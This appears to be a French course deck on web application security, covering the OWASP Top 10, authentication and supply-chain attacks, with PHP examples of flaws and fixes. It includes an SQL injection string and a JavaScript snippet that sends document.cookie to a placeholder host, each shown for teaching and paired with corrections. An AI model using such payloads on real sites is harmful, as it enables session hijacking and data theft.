Les mots de passe (multi-facteurs, complexité, hashage).
Les failles dans le code (injections, XSS, CSRF, etc.).
Les failles dans les configurations (serveur, application, etc.).
Le social engineering (le maillon faible, l'humain).
Assurer la qualité
s'assurer une qualité continue du code
10 règles à connaitre (OWASP).
Des tests unitaires.
Une analyse automatique du code (SonarQube).
L'authentification, un point clé
Mots de passe : Complexité, hachage, salage.
Authentification à plusieurs facteurs : Double authentification, biométrie, OTP.
Sécurisation des mots de passe : Bcrypt, Argon2, Scrypt.
Sécurisation des sessions : JWT, Cookies sécurisés.
Authentification unique : OAuth, OpenID (SSO, Single Sign-On).
SSO (Single Sign-On) : Authentification unique. Est un risque potentiel.
À votre avis pourquoi ?
SSO (Single Sign-On) : Authentification unique. Est un risque potentiel.
Risques :
Accès à plusieurs services avec un seul compte.
Un seul compte à pirater pour accéder à plusieurs services.
Solution :
Double authentification (2FA, MFA).
10 grandes catégories
Injection ;
Violation de Gestion d’Authentification et de Session ;
Cross-Site Scripting (XSS) ;
Références directes non sécurisées à un objet ;
Mauvaise configuration Sécurité ;
Exposition de données sensibles ;
Manque de contrôle d’accès au niveau fonctionnel ;
Falsification de requête intersite (CSRF) ;
Utilisation de composants avec des vulnérabilités connues ;
Redirections et Renvois non validés.
Open Web Application Security Project (OWASP)
Les dix risques par ordre de dangerosité
Le Top10 Web
A01:2021-Contrôles d'accès défaillants ;
A02:2021-Défaillances cryptographiques ;
A03:2021-Injection ;
A04:2021-Conception non sécurisée ;
A05:2021-Mauvaise configuration de sécurité ;
A06:2021-Composants vulnérables et obsolètes ;
A07:2021-Identification et authentification de mauvaise qualité ;
A08:2021-Manque d'intégrité des données et du logiciel ;
A09:2021-Carence des systèmes de contrôle et de journalisation ;
A10:2021-Falsification de requête côté serveur ;
Analyse d'une situation
L'injection
Risque d’injection SQL, Shell...
La défaillance cryptographique
Risque de casser / usurper une authentification ou une session. Comprends notamment le vol de session ou la récupération de mots de passe.
Données sensibles en claire.
Mots de passe en claire.
Mots de passe mal hachés.
Conception non sécurisée / Exposition de données sensibles
Conception d'une application sans prise en compte de la sécurité.
Données en claire.
Manque de contrôle d'accès.
Manque de contrôle de saisie.
Manque de contrôle de type (XSS, CSRF).
Absence d'anti-bots (captcha).
Utilisation d'une question secrète.
Réservation de place sans accompte.
Mauvaise configuration de la sécurité
Manque de validation des types de paramètres, accès trop facile aux ressources non accessibles au public (cloud), configuration incomplète ou trop permissive, messages d'erreurs trop détaillés.
Accès à des ressources non publiques.
Messages d'erreurs trop détaillés.
Filtrage absent ou incomplet (filter_input, strip_tags, htmlspecialchars, htmlentities, etc.).
En-têtes de sécurité manquants (CSP, HSTS, X-Frame-Options, etc.).
Services inutiles activés.
Utilisation de composants avec des vulnérabilités connues
Utilisation de composants tiers vulnérables.
CMS non à jour.
Librairies non à jour.
Apache non à jour.
PHP non à jour.
MySQL non à jour.
Identification et authentification de mauvaise qualité
Applications n’exécutent pas de manière correcte les fonctions liées à la gestion des sessions ou à l’authentification des utilisateurs
Absence de double authentification.
Absence de règles de mots de passe (complexité, durée de vie, longueur, etc).
Mot de passe par défaut (admin/admin, root/root).
Utilisation d'id dans l'url (session hijacking).
Manque d’intégrité des données et du logiciel
Cette catégorie englobe les codes et infrastructures qui ne sont pas protégés contre les violations d’intégrité.
Absence de vérification de l'intégrité des données (validation d'une mise à jour).
Absence de vérification de l'intégrité du logiciel (signature, hashage, etc).
Rejeu de requêtes possibles (absence de CSRF).
Absence de logs serveur et de surveillance
Absence de logs serveur et de surveillance des activités de l’application.
Absence de logs serveur.
Absence de logs applicatifs.
Manque de supervision.
L'observabilité est un concept qui permet de mesurer et d'analyser le comportement d'un système. On parlera de traçabilité, de logs, de monitoring, de métriques, etc.
La traçabilité est un élément clé de la sécurité. Elle permet de savoir qui a fait quoi, quand et comment.
Falsification de requête côté serveur
Elle permet à un hacker d’inciter l’application côté serveur à envoyer des requêtes à un endroit non prévu.
Absence de vérification de l'origine de la requête.
Absence de vérification de l'origine de l'utilisateur.
L'objectif est souvent de ralentir l'attaquant. Afin de le décourager.
Avec OWASP on parle de
Vulnérabilité, et non de risque
Mais, une faille c’est quoi ?
Les types de failles
L’humain (Social Engineering)
D'accès (physique)
Applicatif (Hack)
L’argent (à quel montant une personne vous donne l’information ?)
Permets de sécuriser les mots de passe en ajoutant une couche de sécurité supplémentaire.
Via un secret partagé entre la personne physique et le site/application.
Supply Chain Attacks
Attaque ciblant les dépendances logicielles
Les dépendances logicielles sont partout dans nos applications (nuget, composer, npm, pip, etc.), mais également sur nos serveurs (apt, yum, docker, etc).
Exemple d'attaque
Une dépendance est compromise (par un attaquant ou un développeur malveillant).
Un malware est injecté dans la dépendance.
Le malware est distribué via la dépendance.
Le malware s'exécute sur les systèmes des utilisateurs de la dépendance (serveur ou poste de travail en fonction du type de dépendance).
On connait les failles
Comment on les corrige ?
Les failles
OWASP donne la liste des grandes catégories de failles. Entrons dans le détail technique.
L'Injection
SELECT*FROM client WHERE id='" . $_GET["id"] . "'
http://exemple.com/liste?id='or '1'='1
Correction
$stmt = $pdo->prepare("SELECT * FROM client WHERE id=?");
$stmt->bindParam(1, $_GET["id"]);
$stmt->execute();
Accès non autorisé à une session
http://exemple.com/?jsessionid=A2938298D293
Vol du cookie de session
// Exemple de vol d'un cookie de session en JavaScriptvar img = newImage();
img.src = "http://exemple.com/?jsessionid=" + document.cookie;
document.body.appendChild(img);
Cross-Site Scripting (XSS)
Exécution de code JavaScript sans validation.
XSS Stocké (base de données).
XSS Réfléchi (URL / Lien).
Votre Nom : <inputtype="text"name="nom"value="" />
echo "Bonjour " . $_POST['nom'];
Correction
$nom = filter_input(INPUT_POST, 'nom', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
// ou$nom = strip_tags($_POST['nom']);
// ou (recommandé pour l'affichage)$nom = htmlspecialchars($_POST['nom'], ENT_QUOTES, 'UTF-8');
A4 - Références directes non sécurisées à un objet
http://exemple.com/liste?mode=client
Si je change client par … admin ?
SELECT*FROM client where mode=?
$stmt->bindParam(1, $mode);
Toujours valider les entrées utilisateurs.
Toujours vérifier les droits de l'utilisateur.
if ($_SESSION['mode'] == 'client') {
// On peut charger la ressource
} elseif ($_SESSION['mode'] == 'admin') {
// On peut charger la ressource
} else {
// On ne peut pas charger la ressource
}
Mauvaise configuration Sécurité
Console d’administration disponible sans authentification en ligne
Page d’admin accessible avec un compte utilisateur
Mode non filtré (similaire à l’exemple mode={client,admin})
Condition d'accès dans le code
if(SessionUtilisateur::estAdmin()) {
// On peut charger la ressource
} else {
// On ne peut pas charger la ressource
}
Falsification de requête intersite (CSRF)
Rejeu de requête déjà joué.
Attaque de type brute force.
Exécution de requête à l’insu de l’utilisateur (exemple : déconnexion / connexion sur un site tierce).
Comment le bloquer ?
Ajoutez un identifiant/jeton dans la requête, unique et non réutilisable
⚠️ Parlons-en !
Ajouter un jeton unique dans les formulaires.
<input type="hidden" name="_token" value="{{ csrf_token() }}">
// Côté PHPif (isset($_POST['_token']) && $_POST['_token'] == $_SESSION['_token']) {
// On peut traiter la requête
} else {
die();
}
Utilisation de composants avec des vulnérabilités connues
CMS non à jour.
Apache non patchés.
Librairies XYZ non à jour.
PHP non à jour.
MySQL non à jour.
Mauvaise conception
Absence d'anti-bots.
Utilisation de captcha (Google Recaptcha par exemple).
<scriptsrc="https://www.google.com/recaptcha/api.js"asyncdefer></script><divclass="g-recaptcha"data-sitekey="your_site_key"></div>
// Côté PHP
if (isset($_POST['g-recaptcha-response'])) {
// On peut traiter la requête
} else {
die();
}
Utilisation d'une question secrète :
Car faible possibilité de réponse (peu de couleurs, peu de réponses possibles, peu de dates, etc).
Redirections et Renvois non validés
Utilisation de votre site comme « masque » dans du phishing